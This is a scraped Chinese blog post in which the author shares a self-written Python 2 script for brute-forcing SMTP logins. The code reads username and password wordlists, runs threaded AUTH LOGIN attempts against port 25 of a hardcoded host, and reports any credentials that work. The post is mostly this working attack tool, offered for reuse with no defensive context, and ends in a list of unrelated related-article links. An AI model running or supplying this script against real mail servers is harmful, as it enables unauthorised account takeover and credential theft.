smtp暴力猜测脚本
来源:互联网 发布:ubuntu下新建文件夹 编辑:程序博客网 时间:2024/06/10 19:11
工作中要用到smtp暴力猜测工具,找了很多资源都不支持smtp协议,好不容易找到一个也是python写的,但是因为太强大了不会用。
所以只好自己写了一个。平时不怎么写代码,很多地方处理的都不是很好,就作为一个参考吧。
import socketimport base64import threadingimport timedef login(user,passwd,host): user = user[0:-1] passwd = passwd[0:-1] print "begin guessing using username %s and password %s"%(user,passwd) new_soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM) user64 = base64.encodestring(user)[0:-1]+'\r\n' passwd64 = base64.encodestring(passwd)[0:-1]+'\r\n' try: new_soc.connect((host,25)) new_soc.recv(1024) new_soc.sendall("EHLO computer\r\n") new_soc.recv(1024) new_soc.sendall('AUTH LOGIN\r\n') new_soc.recv(1024) new_soc.sendall(user64) new_soc.recv(1024) new_soc.sendall(passwd64) result = new_soc.recv(1024) except: print "socket error" return 0 if result.find(" successful") == -1: return 0 else: print "congratulation! usr %s password %s"%(user,passwd) return 1def start_guess((user_name_file,user_pass_file,host)): count = 0 try: user_file = open(user_name_file,'r') except: print "unable to open "+user_name_file try: pass_file = open(user_pass_file) except: print "unable to open "+user_pass_file for usr in user_file.readlines(): pass_file.seek(0) for passwd in pass_file.readlines(): while True: if threading.activeCount()<10: threading.Thread(target=login,args=(usr,passwd,host)).start() break; else: time.sleep(1) if __name__ == "__main__": start_guess(('name','pass','10.14.69.203'))
- smtp暴力猜测脚本
- SMTP脚本
- ORACLE密码字典暴力猜测破解方法
- Openmp在暴力猜测MD5源字串一例
- 暴力破解脚本
- 暴力破解脚本 shell
- 防暴力破解SSH/FTP/SMTP用户密码----fail2ban操作实务
- 自定义脚本通过SMTP邮箱发送邮件
- Unity 脚本遇到错误的跳出 的bug解决与猜测
- SMTP
- SMTP
- SMTP
- smtp
- smtp
- smtp
- SMTP
- SMTP
- smtp
- Python快速学习
- 其他语言(JAVA)调用.NET Web服务返回的DataSet的问题
- 冒泡排序java实现
- jquery以及js常用函数
- strlen与sizeof区别(转载)
- smtp暴力猜测脚本
- 求 3 2 4 3 1五个数中任意几个和为7的所有的组合
- hibernate双向关联转化为Json数据
- 程序与生活:软件开发的最终目的
- 注释
- 用DOM4J创建及修改XML文件
- python学习中……
- lucene3.5学习笔记01--搭建开发环境
- 关于文字编码